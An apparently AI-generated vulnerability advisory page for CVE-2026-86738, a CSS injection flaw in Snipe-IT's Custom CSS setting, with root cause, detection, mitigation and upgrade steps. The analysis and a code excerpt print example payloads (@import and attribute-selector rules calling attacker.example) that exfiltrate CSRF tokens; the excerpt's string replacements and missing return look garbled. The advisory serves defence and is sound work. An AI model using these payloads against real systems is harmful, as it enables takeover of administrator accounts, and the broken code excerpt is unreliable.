Skip to main content
CVE Vulnerability Database
Vulnerability Database/CVE-2026-86738

CVE-2026-86738: Snipe-IT Asset Management CSS Injection XSS

CVE-2026-86738 is a CSS injection XSS vulnerability in Snipe-IT asset management that enables CSRF token exfiltration and account takeover. This post explains the technical details, affected versions, impact, and mitigation steps.

Published:

CVE-2026-86738 Overview

CVE-2026-86738 is a Cascading Style Sheets (CSS) injection vulnerability in Snipe-IT versions before 8.7.0. The flaw resides in the Custom CSS field, where incomplete sanitization reverses HyperText Markup Language (HTML) encoding on greater-than and double-quote characters. A superuser can plant malicious CSS payloads using @import and url() references. Those payloads render inside <style> blocks on every layout for every other superuser. Attribute-selector rules then exfiltrate Cross-Site Request Forgery (CSRF) tokens character by character, enabling account takeover of other superusers. The vulnerability is tracked as [CWE-79] and affects the snipeitapp/snipe-it asset management platform.

Critical Impact

Authenticated superusers can exfiltrate CSRF tokens from other superusers via injected CSS, leading to full account takeover of privileged accounts.

Affected Products

  • Snipe-IT versions prior to 8.7.0
  • snipeitapp/snipe-it self-hosted deployments
  • All installations exposing the Custom CSS setting to superusers

Discovery Timeline

  • 2026-09-08 - CVE-2026-86738 published to the National Vulnerability Database (NVD)
  • 2026-09-09 - Last updated in NVD database

Technical Details for CVE-2026-86738

Vulnerability Analysis

Snipe-IT allows superusers to inject arbitrary Cascading Style Sheets through the Custom CSS setting. The rendered CSS is emitted inside a <style> block on every layout that other superusers load. The show_custom_css() method in app/Models/Setting.php first applies Laravel's e() escaping, then reverses that escaping for > and ". That reversal restores the exact characters an attacker needs to construct CSS at-rules and attribute selectors.

An attacker with superuser privileges can inject @import url("https://attacker.example/x.css") to pull an unrestricted external stylesheet. The external stylesheet then contains attribute-selector rules such as input[name="_token"][value^="a"]{background:url("https://attacker.example/?t=a")}. Each matched prefix triggers a background image request, leaking CSRF token characters over the network. The attacker replays the harvested token against sensitive endpoints to hijack another superuser session.

Root Cause

The root cause is CSS-context sanitization implemented as if it were HTML-context sanitization. The patched show_custom_css() method previously ran str_replace('>', '>', $custom_css) and str_replace('"', '"', $custom_css) after e() had encoded them. This left the sink unable to defend against CSS abuse primitives such as @import and url().

Attack Vector

The attack requires authenticated access with superuser privileges to modify the Custom CSS setting. Exploitation is triggered passively when any other superuser loads a page that renders the layout. No user interaction beyond a normal page load is required from the victim.

php
// Patched sanitizer in app/Models/Setting.php
public function show_custom_css(): string
{
    $custom_css = self::getSettings()->custom_css;
    // Removed lines that reversed HTML encoding on '>' and '"'
    // - $custom_css = str_replace('>', '>', $custom_css);
    // - $custom_css = str_replace('"', '"', $custom_css);

    if ($custom_css === null || $custom_css === '') {
        return '';
    }

    // Two abuse primitives to shut down:
    //   @import url("https://attacker.example/x.css")
    //   background: url("https://attacker.example/?t=...")
    // Attribute-selector rules like
    //   input[name="_token"][value^="a"]{...}
    // exfiltrate CSRF tokens character by character.
}

Source: GitHub Commit d26d716

Detection Methods for CVE-2026-86738

Indicators of Compromise

  • Custom CSS setting containing @import, url(, or attribute-selector syntax such as [name="_token"].
  • Outbound HTTP or HTTPS requests from superuser browsers to unfamiliar domains loading .css resources.
  • Bursts of similar outbound GET requests carrying single-character or short-prefix query parameters, consistent with per-character token exfiltration.
  • Audit log entries showing Custom CSS setting modifications by superuser accounts.

Detection Strategies

  • Inspect the settings.custom_css column in the Snipe-IT database for absolute URLs, protocol-relative URLs, or @import statements.
  • Monitor web application logs for POST requests to the settings endpoint that modify Custom CSS.
  • Alert on browser-originated requests from admin sessions to external hosts referenced in stylesheet URLs.

Monitoring Recommendations

  • Enable and centralize Snipe-IT application and authentication logs for review of superuser activity.
  • Track superuser account creation, privilege changes, and settings modifications as high-priority events.
  • Correlate network egress from administrator workstations with the timing of Snipe-IT page loads.

How to Mitigate CVE-2026-86738

Immediate Actions Required

  • Upgrade Snipe-IT to version 8.7.0 or later without delay.
  • Review the current Custom CSS value and remove any unrecognized @import statements or external url() references.
  • Rotate credentials and invalidate active sessions for all superuser accounts if tampering is suspected.
  • Audit the superuser list and revoke privileges from accounts that no longer require them.

Patch Information

The fix is contained in commit d26d71688359707f3b257fc04fe6c3e5a17405f9 on the grokability/snipe-it repository. The patched show_custom_css() method removes the reversal of > and " encoding and adds CSS-context filtering. Reference the GitHub Security Advisory GHSA-pvcw-mp8q-mj39 and the VulnCheck CSS Injection Advisory for full details.

Workarounds

  • Clear the Custom CSS setting until the upgrade to 8.7.0 or later is complete.
  • Restrict superuser role membership to a minimal, trusted set of administrators.
  • Deploy a Content Security Policy (CSP) that restricts stylesheet and image sources to same-origin destinations.
  • Place Snipe-IT admin interfaces behind network access controls that block outbound traffic to untrusted domains.
bash
# Upgrade Snipe-IT to the patched release
cd /var/www/snipe-it
sudo -u www-data git fetch --tags
sudo -u www-data git checkout v8.7.0
sudo -u www-data composer install --no-dev --prefer-source
sudo -u www-data php artisan migrate --force
sudo -u www-data php artisan config:clear
sudo -u www-data php artisan cache:clear

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.